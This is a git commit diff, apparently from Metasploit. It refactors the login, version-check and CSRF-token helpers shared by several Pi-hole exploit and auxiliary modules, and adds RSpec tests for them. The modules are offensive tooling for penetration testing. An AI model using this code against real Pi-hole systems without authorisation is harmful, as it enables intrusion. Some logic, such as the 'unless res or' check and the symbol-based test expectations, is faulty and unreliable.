pihole new module and lib
This commit is contained in:
parent
c3e0f455ec
commit
990e4a1e7a
|
@ -27,8 +27,7 @@ module Msf
|
|||
'method' => 'GET',
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
return nil if res.nil? || res.code != 200
|
||||
|
||||
# Verified against:
|
||||
# (current) 5.7, 5.12.1, 5.9
|
||||
|
@ -47,6 +46,7 @@ module Msf
|
|||
|
||||
# Performs a login to pihole
|
||||
#
|
||||
# @param pass [String] Password
|
||||
# @return [String,nil] cookie if login was successful, nil otherwise
|
||||
def login(password)
|
||||
vprint_status('Attempting login.')
|
||||
|
@ -61,10 +61,12 @@ module Msf
|
|||
'method' => 'POST',
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password')
|
||||
if res && res.code == 200 && res.body.exclude?('Sign in to start your session')
|
||||
return res.get_cookies
|
||||
end
|
||||
res.get_cookies
|
||||
|
||||
vprint_error('Incorrect Password')
|
||||
nil
|
||||
end
|
||||
|
||||
# Performs a gravity update
|
||||
|
@ -77,6 +79,30 @@ module Msf
|
|||
'keep_cookies' => 'true'
|
||||
)
|
||||
end
|
||||
|
||||
# Attempts to retrieve a CSRF token from the tab.
|
||||
#
|
||||
# @param tab [String] Which tab to load on the admin/settings page
|
||||
# @return [String,nil] String of the token, nil otherwise
|
||||
def get_token(tab)
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' => {
|
||||
'tab' => tab
|
||||
},
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
return nil unless res or res.code == 200
|
||||
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
|
||||
# may also include /
|
||||
# from version 3.3 <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
|
||||
if (%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body ||
|
||||
%r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body)
|
||||
return token
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -56,6 +56,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def check
|
||||
begin
|
||||
_version, web_version, _ftl = get_versions
|
||||
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if web_version.nil?
|
||||
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
|
||||
vprint_good("Web Interface Version Detected: #{web_version}")
|
||||
return Exploit::CheckCode::Appears
|
||||
|
@ -82,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
||||
end
|
||||
|
||||
# get token
|
||||
# check if we need a login
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' => {
|
||||
|
@ -93,21 +95,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
res = login
|
||||
cookie = login
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password') if cookie.nil?
|
||||
end
|
||||
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password')
|
||||
end
|
||||
token = get_token('api')
|
||||
|
||||
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
|
||||
# may also include /
|
||||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
|
||||
|
||||
unless token
|
||||
if token.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
||||
end
|
||||
vprint_status("Using token: #{token}")
|
||||
print_status("Using token: #{token}")
|
||||
print_status('Sending payload request')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
|
|
|
@ -39,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
],
|
||||
'Platform' => ['php'],
|
||||
'Privileged' => true,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [
|
||||
[ 'Automatic Target', {}]
|
||||
|
@ -93,6 +94,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def check
|
||||
begin
|
||||
version, _web_version, _ftl = get_versions
|
||||
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if version.nil?
|
||||
if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
|
||||
vprint_good("Version Detected: #{version}")
|
||||
return CheckCode::Appears
|
||||
|
@ -165,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'keep_cookies' => 'true'
|
||||
)
|
||||
|
||||
# get token
|
||||
# check if we need to login
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'keep_cookies' => 'true',
|
||||
|
@ -177,17 +180,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
res = login
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
|
||||
end
|
||||
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password')
|
||||
end
|
||||
token = get_token('blocklists')
|
||||
|
||||
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
|
||||
# may also include /
|
||||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
|
||||
|
||||
unless token
|
||||
if token.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
||||
end
|
||||
print_status("Using token: #{token}")
|
||||
|
|
|
@ -62,6 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
begin
|
||||
_version, web_version, _ftl = get_versions
|
||||
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if web_version.nil?
|
||||
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
|
||||
vprint_good("Web Interface Version Detected: #{web_version}")
|
||||
return CheckCode::Appears
|
||||
|
@ -112,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'keep_cookies' => 'true'
|
||||
)
|
||||
|
||||
# get token
|
||||
# check login
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'keep_cookies' => 'true',
|
||||
|
@ -124,24 +125,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
cookie = login
|
||||
# get token
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'tab' => 'piholedhcp'
|
||||
}
|
||||
)
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if cookie.nil?
|
||||
end
|
||||
|
||||
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
|
||||
# may also include /
|
||||
if res
|
||||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
|
||||
end
|
||||
token = get_token('piholedhcp')
|
||||
|
||||
unless token
|
||||
if token.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
||||
end
|
||||
print_status("Using token: #{token}")
|
||||
|
|
|
@ -64,25 +64,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
cookie = login
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
|
||||
'keep_cookies' => 'true',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'l' => 'white'
|
||||
}
|
||||
)
|
||||
# res = send_request_cgi(
|
||||
# 'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
|
||||
# 'keep_cookies' => 'true',
|
||||
# 'ctype' => 'application/x-www-form-urlencoded',
|
||||
# 'cookie' => cookie,
|
||||
# 'vars_get' => {
|
||||
# 'l' => 'white'
|
||||
# }
|
||||
# )
|
||||
end
|
||||
|
||||
# <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
|
||||
# may also include /
|
||||
%r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body
|
||||
token = get_token('api')
|
||||
|
||||
unless token
|
||||
if token.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
||||
end
|
||||
|
||||
print_status("Using token: #{token}")
|
||||
|
||||
send_request_cgi({
|
||||
|
|
|
@ -21,17 +21,29 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
|
|||
200
|
||||
end
|
||||
|
||||
let(:tab) do
|
||||
'api'
|
||||
end
|
||||
|
||||
let(:token_no_slash) do
|
||||
't51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk='
|
||||
end
|
||||
|
||||
let(:token_slash) do
|
||||
't5/q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk='
|
||||
end
|
||||
|
||||
describe '#pihole_versions' do
|
||||
it 'raises error if page can not be reached' do
|
||||
it 'returns nil if page can not be reached' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to raise_error(RuntimeError)
|
||||
expect(subject.get_versions).to be_nil
|
||||
end
|
||||
|
||||
it 'returns nil,nil,nil when page can be reached but isn\'t a Pihole' do
|
||||
it 'returns [nil,nil,nil] when page can be reached but isn\'t a Pihole' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
|
@ -126,16 +138,16 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
|
|||
end
|
||||
|
||||
describe '#pihole_logins' do
|
||||
it 'raises error if page can not be reached' do
|
||||
it 'returns nil if page can not be reached' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.login(valid_password)).to raise_error(RuntimeError)
|
||||
expect(subject.login(valid_password)).to be_nil
|
||||
end
|
||||
|
||||
it 'raises error on bad login' do
|
||||
it 'returns nil on bad login' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
|
@ -143,18 +155,74 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
|
|||
res
|
||||
end
|
||||
|
||||
expect(subject.login(valid_password)).to raise_error(RuntimeError)
|
||||
expect(subject.login(valid_password)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns cookie on good login' do
|
||||
it 'returns cookie on valid login' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.headers['Set-Cookie'] = "#{valid_cookie};"
|
||||
res.body = 'page'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.login(valid_password)).to include(valid_cookie)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#pihole_get_token' do
|
||||
it 'returns nil if page can not be reached' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_token(:tab)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns nil when no token' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = 'Sign in to start your session'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_token(:tab)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns token without slashes' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = '<input type="hidden" name="token" value="token_no_slash">'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_token(:tab)).to include(:token_no_slash.to_s)
|
||||
end
|
||||
|
||||
it 'returns token with slashes' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = '<input type="hidden" name="token" value="token_slash">'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_token(:tab)).to include(:token_slash.to_s)
|
||||
end
|
||||
|
||||
it 'returns token with slashes 3.3 format' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = '<div id="token" hidden>token_no_slash</div>'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_token(:tab)).to include(:token_no_slash.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue